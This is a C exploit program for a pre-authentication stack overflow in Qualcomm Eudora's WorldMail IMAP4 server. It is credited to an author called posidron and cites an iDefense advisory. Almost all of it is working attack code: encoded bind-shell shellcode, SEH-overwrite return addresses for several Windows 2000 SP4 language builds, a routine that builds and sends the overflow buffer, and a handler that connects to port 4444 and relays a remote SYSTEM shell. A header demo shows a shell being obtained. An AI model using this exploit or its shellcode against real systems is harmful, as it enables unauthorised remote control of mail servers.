/*
**                    Qualcomm Eudora IMAP4A
**           Remote Pre Authentication Ring 0 Exploit
**           ----------------------------------------
**           Author: posidron         www.tripbit.net
**
**  Advisory
**    Server String Literal Processing Overflow Vulnerability
**    http://idefense.com/intelligence/vulnerabilities/display.php?id=359
**
**  Execution
**    gcc tt-eudora.c -o tt-eudora -Wall; ./tt-eudora
**
**  Description
**    A stack overflow occurs during the parsing of the following request:
**
**    posidron@pandora:$ telnet 192.168.214.128 143
**    * OK  WorldMail IMAP4 Server 6.1.19.0 ready
**    AAAAAAAAAAAAAAAAAAAAAAAAAA<snip>AAAAAAAAAA}
**
**  Demonstration
**    posidron@pandora:$ ./tt-eduora
**
**                Qualcomm Eudora 3.0 IMAP4A
**        Remote Pre Authentication SYSTEM Exploit
**        ----------------------------------------
**        -h  ip or hostname
**        -p  port number    [default: 143]
**        -t  target number  [default:   1]
**
**        { Provided Targets }
**        0. 0x78029b99 msvcrt.dll - Windows2000.Prof.SP4.German
**
**    posidron@pandora:$ ./tt-eudora -h 192.168.214.128 -p 143 -t 0
**    [+] Connected to 192.168.214.128:143
**    [+] 1. 0x78029b99 msvcrt.dll - Windows2000.Prof.SP4.German
**    [+] Connected to 192.168.214.128:4444
**    Microsoft Windows 2000 [Version 5.00.2195]
**    (C) Copyright 1985-2000 Microsoft Corp.
**    C:\WINNT\System32>
**
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>

#ifdef _WIN32
    #include <winsock2.h>
    #include <windows.h>
    /* Win32-Lcc */
    //#pragma lib <ws2_32.lib>
    /* MS Visual C++ */
    //#pragma comment(lib, "ws2_32.lib")
    /* MinGW */
    // link with libwsock32.a
#else
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netdb.h>
#endif

#define DEFAULT_PORT 143
#define DEFAULT_TYPE 1

unsigned char ASCIIbindsh[] =
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
    "\x4d\x54\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x58"
    "\x4e\x36\x46\x32\x46\x42\x4b\x38\x45\x34\x4e\x53\x4b\x48\x4e\x47"
    "\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x31\x4b\x48"
    "\x4f\x45\x42\x32\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x43\x4b\x48"
    "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
    "\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
    "\x46\x4f\x4b\x43\x46\x55\x46\x42\x4a\x32\x45\x37\x45\x4e\x4b\x58"
    "\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x44"
    "\x4b\x58\x4f\x45\x4e\x41\x41\x30\x4b\x4e\x43\x50\x4e\x52\x4b\x58"
    "\x49\x38\x4e\x46\x46\x42\x4e\x41\x41\x56\x43\x4c\x41\x43\x4b\x4d"
    "\x46\x36\x4b\x58\x43\x44\x42\x43\x4b\x58\x42\x54\x4e\x50\x4b\x48"
    "\x42\x47\x4e\x31\x4d\x4a\x4b\x48\x42\x34\x4a\x30\x50\x55\x4a\x46"
    "\x50\x58\x50\x34\x50\x30\x4e\x4e\x42\x45\x4f\x4f\x48\x4d\x48\x56"
    "\x43\x45\x48\x36\x4a\x36\x43\x33\x44\x33\x4a\x46\x47\x47\x43\x47"
    "\x44\x33\x4f\x35\x46\x55\x4f\x4f\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e"
    "\x4e\x4f\x4b\x33\x42\x55\x4f\x4f\x48\x4d\x4f\x35\x49\x38\x45\x4e"
    "\x48\x56\x41\x48\x4d\x4e\x4a\x30\x44\x30\x45\x35\x4c\x56\x44\x30"
    "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
    "\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x55\x43\x45\x43\x35\x43\x54"
    "\x43\x55\x43\x34\x43\x45\x4f\x4f\x42\x4d\x48\x36\x4a\x56\x41\x31"
    "\x4e\x45\x48\x56\x43\x55\x49\x38\x41\x4e\x45\x59\x4a\x56\x46\x4a"
    "\x4c\x41\x42\x57\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x36\x42\x41"
    "\x41\x45\x45\x35\x4f\x4f\x42\x4d\x4a\x56\x46\x4a\x4d\x4a\x50\x52"
    "\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x55\x4f\x4f\x42\x4d"
    "\x4a\x56\x45\x4e\x49\x44\x48\x58\x49\x44\x47\x55\x4f\x4f\x48\x4d"
    "\x42\x55\x46\x55\x46\x45\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x36"
    "\x47\x4e\x49\x57\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x45"
    "\x4f\x4f\x42\x4d\x48\x36\x4c\x36\x46\x56\x48\x36\x4a\x36\x43\x36"
    "\x4d\x56\x49\x58\x45\x4e\x4c\x46\x42\x55\x49\x35\x49\x52\x4e\x4c"
    "\x49\x48\x47\x4e\x4c\x36\x46\x44\x49\x48\x44\x4e\x41\x53\x42\x4c"
    "\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x42\x50\x4f\x44\x54\x4e\x32"
    "\x43\x49\x4d\x58\x4c\x47\x4a\x53\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"
    "\x44\x47\x50\x4f\x43\x4b\x48\x41\x4f\x4f\x45\x47\x46\x54\x4f\x4f"
    "\x48\x4d\x4b\x35\x47\x55\x44\x55\x41\x45\x41\x35\x41\x45\x4c\x46"
    "\x41\x30\x41\x45\x41\x35\x45\x45\x41\x35\x4f\x4f\x42\x4d\x4a\x56"
    "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x56"
    "\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x48\x47\x45\x4e\x4f"
    "\x43\x48\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d"
    "\x4a\x56\x42\x4f\x4c\x38\x46\x50\x4f\x35\x43\x55\x4f\x4f\x48\x4d"
    "\x4f\x4f\x42\x4d\x5a";

unsigned char jmpbacksh[] =
    "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28"
    "\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d"
    "\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b";

struct sysport {
    unsigned short nr;
    unsigned int addr;
    unsigned char info[64];
} mode []= {
    { 0, 0x77881573, "ntdll.dll - Windows2000.Prof.SP4.German" },
    { 1, 0x78461573, "ntdll.dll - Windows2000.Prof.SP4.French"}, // not tested
    { 2, 0x78461573, "ntdll.dll - Windows2000.Prof.SP4.Spanish"}, // not tested
    { 3, 0x77f92a9b, "ntdll.dll - Windows2000.Prof.SP4.English"} // not tested
    /* add further systems here */
},n;

int tcp_connect(char *host, unsigned short port);
int send_buffer(int sock, unsigned int sehandler);
void shell_handler(int sock);
void topic(void);
void usage(void);
void error(char *, ...);

int main (int argc, char *argv[])
{
    int opt, sock;
    char *options = "h:p:t:";
    char *host = NULL;
    unsigned short type = DEFAULT_TYPE;
    unsigned short port = DEFAULT_PORT;

    while ((opt = getopt(argc, argv, options)) != -1) {
        switch (opt) {
            case 'h': host = optarg;       break;
            case 'p': port = atoi(optarg); break;
            case 't': type = atoi(optarg); break;
            default : error("invalid option.");
        }
    }

    if (argc == 1)
      usage();
    topic();

    sock = tcp_connect(host, port);
    send_buffer(sock, mode[type].addr);
    printf("[+] %u. 0x%x %s\n", mode[type].nr, mode[type].addr, mode[type].info);
    sleep(2);

    sock = tcp_connect(host, 4444);
    printf("[+] Connected to %s:4444\n", host);
    shell_handler(sock);

    return 0;
}

int tcp_connect(char *host, unsigned short port)
{
    int sock;
    struct hostent *h;
    struct sockaddr_in sa;

#ifdef _WIN32
    WSADATA wsa;

    if (WSAStartup(MAKEWORD(1, 1), &wsa)) {
	    error("WSAStartup()");
    }
#endif

    if ((h = gethostbyname(host)) == NULL) {
        error("gethostbyname()");
    }

    if ((sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        error("socket()");
    }

    sa.sin_addr = *((struct in_addr*)h->h_addr);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);

    if (connect(sock, (struct sockaddr*)&sa, sizeof (sa)) == -1) {
        close(sock);
        error("connect()");
    }

    return sock;
}

int send_buffer(int sock, unsigned int offsetaddr)
{
    unsigned int mempos;
    char buff[2024];
    unsigned int seh = 0xffff06eb;

    // Windows 2000 only
    memset(buff, 0x90, 800);
    memcpy(buff+61, ASCIIbindsh, strlen(ASCIIbindsh));
    mempos = 61 + strlen(ASCIIbindsh) + 10;
    memcpy(buff+mempos, &seh, 4);
    mempos += 4;
    memcpy(buff+mempos, &offsetaddr, 4);
    mempos += 4;
    memset(buff+mempos, 0x90, 8);
    mempos += 8;
    memcpy(buff+mempos, jmpbacksh, strlen(jmpbacksh));
    mempos += strlen(jmpbacksh);
    memset(buff+mempos, 'A', 34);
    strcat(buff, "}\r\n");

    if (send(sock, buff, strlen(buff), 0) == -1) {
      close(sock);
      error("send()");
    }

    return 0;
}

void shell_handler(int sock)
{
    int r;
    char buf[5096];
    struct timeval time;
    unsigned int ui[2];

    time.tv_sec = 1;
    time.tv_usec = 0;

    while (1) {
        ui[0] = 1;
        ui[1] = sock;

        r = select (0, (fd_set *)&ui, NULL, NULL, &time);

        if(r == 1) {
            if ((r = recv (sock, buf, sizeof (buf), 0)) <= 0) {
                printf("Sayonara!\n");
                return;
            }
            if ((r = write (1, buf, r)) <= 0) {
                printf("Sayonara!\n");
                return;
            }
        } else {
            if ((r = read (0, buf, sizeof (buf))) <= 0) {
                printf("Sayonara!\n");
                return;
            }
            if ((r = send(sock, buf, r, 0)) <= 0) {
                printf("Sayonara!\n");
                return;
            }
        }
    }
}

void error(char *fmt, ...)
{
  va_list args;

  va_start(args, fmt);
  fprintf(stderr, "error: ");
  vfprintf(stderr, fmt, args);
  fprintf(stderr, "\n");
  va_end(args);

  exit(1);
}

void topic(void)
{
    char *t = "Remote Pre Authentication SYSTEM Exploit";
    unsigned short i = strlen(t);

    printf("\n\t\tQualcomm Eudora 3.0 IMAP4A\n\t%s\n\t", t);
    for (; i > 0; i--) printf("-"); printf("\n");
}

void usage(void)
{
    unsigned short i;

    topic();
    printf("\t-h  ip or hostname\n"
        "\t-p  port number    [default: %u]\n"
        "\t-t  target number  [default:   %u]\n"
        "\n", DEFAULT_PORT, DEFAULT_TYPE);

    printf("\t{ Provided Targets }\n");
    for (i = 0; i < sizeof (mode) / sizeof (n); i++) {
        printf("\t%u. 0x%x %s\n", mode[i].nr, mode[i].addr, mode[i].info);
    }
    printf("\n");

    exit(0);
}
